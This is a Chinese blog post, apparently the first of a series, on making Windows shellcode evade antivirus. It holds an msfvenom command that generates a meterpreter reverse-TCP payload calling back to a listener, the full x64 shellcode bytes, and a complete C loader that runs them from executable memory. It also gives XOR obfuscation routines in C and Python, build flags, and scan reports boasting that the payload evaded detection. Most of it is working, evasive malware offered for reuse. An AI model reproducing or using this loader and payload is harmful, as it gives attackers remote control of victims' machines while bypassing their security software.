其实鄙人对所谓的免杀从来没怎么上心研究过,因为很多时候程序都是自己写的,并且根据不同场景可以灵活的调整。
比如这款pipe的木马,是去年心血来潮写的,到现在还是呆萌呆萌的免杀。
额~~~大蜘蛛抽风了吗?居然检测出是木马~~~~
附上2022/10/19新鲜出炉的检测报告
https://www.virscan.org/report/fc757aa74e23d58913e00b431bf4487175edf52c5aec16e7754cee1198a34100
好吧,不扯远了,这都是无伤大雅的事情。
综上所述,最好的免杀就是~~~~
遵循一切安全规则的前提条件下达到自己的目的。
----zngeek
但是最近有朋友托我看看针对于windows的X86和X64的shellcode载荷的免杀,就索性研究了一下。
因为这里面想分享的东西太多了,一篇幅的文章肯定是写不完的,我也不知道要写多少,索性就是弄个专题吧,写到哪天我觉得我知道的已经分享完了,就完结~~~~
来,跟着我的思路开始
首先,shellcode就是一段二进制文件,我们要将它放入内存中,然后让CPU去读取运算这段二进制数据。安全软件的各种所谓的骚操作骚技术无非我总结下来是以下几点:
1、特征
为什么很多自己写的程序比较容易过安全软件的扫描,很大一部分原因是它没有我的特征,如果是发布过的并且有大量人使用,那么特征一定是被记录得明明白白。特征包含的就太广了,比如最浅显的hash值,更多的是程序内的某一段固定的二进制数据等等。
2、内存
监测载入内存的二进制数据,从而分析是否有违反规则的数据。
3、行为
判断程序执行的种种行为是否存在违规行为。
举个简单的例子,如果你直接新增注册表的run键值,那么99.999999%都会把你干掉,因为我们的程序是"野生"的,没有各种安全软件的白名单认可,但是换个思路,如果我是以安全软件认证的白名单去执行这个操作呢?
4、大数据&AI
longlong鹅狗,那时候没有什么大数据,人工智能等等的东西,我们只用针对于安全程序本身的病毒库、行为分析等等就能够完全欺骗过去。但是现在我们更多的要针对于上传到云的AI分析,庞大的运算速率分析,很难逃得过去,今天我在virscan上传了我的木马进行检测,很有可能明天就会被查杀掉。(所以,发布出来的,你可以借鉴,但是不能依赖。引用一句骚话:过于落后,可以展示)
我觉得百科这句话总结得很到位
------可爱的分割线------
这里我们由浅到深来,以下我都以C语言为例进行原理性的演示。
shellcode就用现在很多人喜欢用的老外的什么msf生成的木马为例。
首先介绍两个win的API
1、VirtualAlloc()
看一下百科怎么说的
翻译成我们要实现本次目的通俗的人话就是,开辟一段内存空间用来存放我们要写入的二进制数据。
这个API函数有四个参数
LPVOID lpAddress //分配内存区域的地址
SIZE_T dwSize //分配内存的大小
flAllocationType //分配的类型
DWORD flProtect //初始保护属性
对应的值感兴趣的自己去了解,这里就不废话了。
2、memcpy()
从字面来看,就是内存数据的copy,上面我们开辟了内存空间,当然要把我们的二进制数据copy进去。
该API函数有三个参数
destin //指向用于存储复制内容的目标数组,类型强制转换为 void* 指针。
source //指向要复制的数据源,类型强制转换为 void* 指针。
n //要被复制的字节数。
有这两个win的API就够了,下面就开始写我们的代码
首先用msfvenom生成一个C语言的shellcode,x64或者x86都无所谓,编译的时候用不同架构编译即可。
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.1.1.210 LPORT=9115 -f c > x64.c
得到的shellcode如下
unsigned char buf[] =
"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x4d\x31\xc9\x48\x0f\xb7\x4a\x4a\x48"
"\x8b\x72\x50\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x48\x8b\x52\x20\x41"
"\x51\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f"
"\x85\x72\x00\x00\x00\x8b\x80\x88\x00\x00\x00\x48\x85\xc0"
"\x74\x67\x48\x01\xd0\x8b\x48\x18\x50\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x56\x48\xff\xc9\x4d\x31\xc9\x41\x8b\x34\x88"
"\x48\x01\xd6\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1"
"\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8"
"\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"
"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x41\x58\x41\x58"
"\x48\x01\xd0\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83"
"\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9"
"\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00"
"\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49"
"\x89\xe5\x49\xbc\x02\x00\x23\x9b\x0a\x01\x01\xd2\x41\x54"
"\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5"
"\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b"
"\x00\xff\xd5\x6a\x0a\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31"
"\xc0\x48\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41"
"\xba\xea\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58"
"\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5"
"\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5\xe8\x93\x00\x00\x00"
"\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9\x6a\x04\x41\x58"
"\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00"
"\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41\x59\x68"
"\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41\xba"
"\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31"
"\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9"
"\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68"
"\x00\x40\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f"
"\x30\xff\xd5\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49"
"\xff\xce\xe9\x3c\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48"
"\x85\xf6\x75\xb4\x41\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2"
"\xf0\xb5\xa2\x56\xff\xd5";
然后定义一个char指针,用VirtualAlloc()开辟一块内存并且把地址赋予指针。
char *Memory;
Memory=VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
第一个参数可以为空,自由分配,第二个参数取我们的shellcode大小赋值,第三个参数COMMIT和RESERVE类型,就是提交物理内存和保留该内存空间,第四个参数PAGE_EXECUTE_READWRITE代表开辟的内存区域可以执行二进制数据,应用程序可以读写该区域二进制数据。
接着我们需要往我们开辟的内存里面写入二进制数据
memcpy(Memory, buf, sizeof(buf));
成功将buf写入后,最后就是告诉CPU去运算这段内存二进制数据吧!!!
((void(*)())Memory)();
至此,我们基本载入shellcode的框架就写完了。
完整代码如下:
#include <Windows.h>
unsigned char buf[] =
"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x4d\x31\xc9\x48\x0f\xb7\x4a\x4a\x48"
"\x8b\x72\x50\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x48\x8b\x52\x20\x41"
"\x51\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f"
"\x85\x72\x00\x00\x00\x8b\x80\x88\x00\x00\x00\x48\x85\xc0"
"\x74\x67\x48\x01\xd0\x8b\x48\x18\x50\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x56\x48\xff\xc9\x4d\x31\xc9\x41\x8b\x34\x88"
"\x48\x01\xd6\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1"
"\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8"
"\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"
"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x41\x58\x41\x58"
"\x48\x01\xd0\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83"
"\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9"
"\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00"
"\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49"
"\x89\xe5\x49\xbc\x02\x00\x23\x9b\x0a\x01\x01\xd2\x41\x54"
"\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5"
"\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b"
"\x00\xff\xd5\x6a\x0a\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31"
"\xc0\x48\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41"
"\xba\xea\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58"
"\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5"
"\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5\xe8\x93\x00\x00\x00"
"\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9\x6a\x04\x41\x58"
"\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00"
"\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41\x59\x68"
"\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41\xba"
"\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31"
"\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9"
"\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68"
"\x00\x40\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f"
"\x30\xff\xd5\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49"
"\xff\xce\xe9\x3c\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48"
"\x85\xf6\x75\xb4\x41\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2"
"\xf0\xb5\xa2\x56\xff\xd5";
int main(){
char *Memory;
Memory=VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(Memory, buf, sizeof(buf));
((void(*)())Memory)();
}
直接编译引用x64的lib
gcc.exe "x64.c" -o "x64.exe" -mwindows -I"MinGW64\include" -I"x86_64-w64-mingw32\include" -I"x86_64-w64-mingw32\4.9.2\include" -L"x86_64-w64-mingw32\lib" -static-libgcc -mwindows
运行看看,上线成功
至此,我们的shellcode算是成功的运行了,看看免杀情况怎么样。
360居然免杀
360木马查杀扫描日志
开始时间: 2022-10-20 00:13:06
扫描用时: 00:00:07
扫描类型: 自定义扫描
扫描引擎:360云查杀引擎(本地木马库) 360启发式引擎 QEX脚本查杀引擎
扫描文件数: 1
系统关键位置文件: 0
系统内存运行模块: 0
压缩包文件: 0
安全的文件数: 1
发现安全威胁: 0
已处理安全威胁: 0
扫描选项
扫描后自动关机: 否
扫描模式: 速度最快
管理员:是
扫描内容
C:\Users\Administrator.ZNGEEK\Desktop\x64.exe
扫描结果
未发现安全威胁
当然,这个只是假象,上传virscan看看,报告如下
报告地址:https://www.virscan.org/report/e68eed43e50446df8cdbb3d73a276d1929106e3d34c69d461d50c74904863e42
------可爱的分割线------
从最开始我讲到的安全软件其中一种机制就是【内存】,我们载入内存的二进制数据是msf生成的,特征都已经被检测烂了,那么我们是不是可以对shellcode这段二进制数据做做文章呢?当然可以。
我想的是异或运算一下,在调用的时候再还原回来。
比如我将msf的shellcode异或一个0x11
int main() {
int i;
printf("shellcode is:\n");
for(i=0; i<=sizeof(buf); i++) {
buf[i]=buf[i] ^ 0x11;
printf("\\x%x",buf[i]);
}
}
当然,你也可用用python等等更简单的脚本语言来实现
import sys
raw_data = "0x............................."
new_shellcode = []
for opcode in raw_data:
# The encoding process for each opcode
new_opcode = (ord(opcode) ^ 0x01)
new_shellcode.append(new_opcode)
print "".join(["\\x{0}".format(hex(abs(i)).replace("0x", "")) for i in new_shellcode])
然后把异或过后的shellcode替换原始的shellcode,在载入之前,我们把他异或回来
int i;
for(i=0; i<=sizeof(buf); i++) {
buf[i]=buf[i] ^ 0x11;
}
编译过后,再来看看免杀效果。比刚刚要好多了~~~
报告地址:https://www.virscan.org/report/33cc832964bd3ffcd022b56faba11dd4e0a06ba414f7de54720c982d159f1f72
------可爱的分割线------
当然,针对于二进制数据我们还有很多可以玩的编码解码,这里只是提供一种思路,俗话说:授人与鱼不如授人与渔
今天就写到这里吧,下一篇系列文章我将着重介绍一下各种注入shellcode的骚操作方式。也就是上面说到的【行为】
时不时我写的时候想到一些冷知识,也会告诉大家。
比如:在win环境下用GCC编译C语言的的时候
1、x64系统就编译x64的,要编译32位的程序,最好是使用x86的系统环境,别问我为什么,问就是你自己去反编译一下同样代码出来的程序,你会发现一些特征是抹不去的,除非你是偏执狂大神,愿意汇编一点点的去修改,那还不如直接用一个x86的环境去编译。
2、在编写C或者C++的时候,适当的用汇编语言,会大大的增加免杀机率,具体原因我没有仔细的去分析过,估计盲猜是因为编译器翻译成二进制数据时的一些特征问题吧,比如我直接用API调用内存让cpu运算,和我用__asm call,最终得到的二进制数据是不一样的。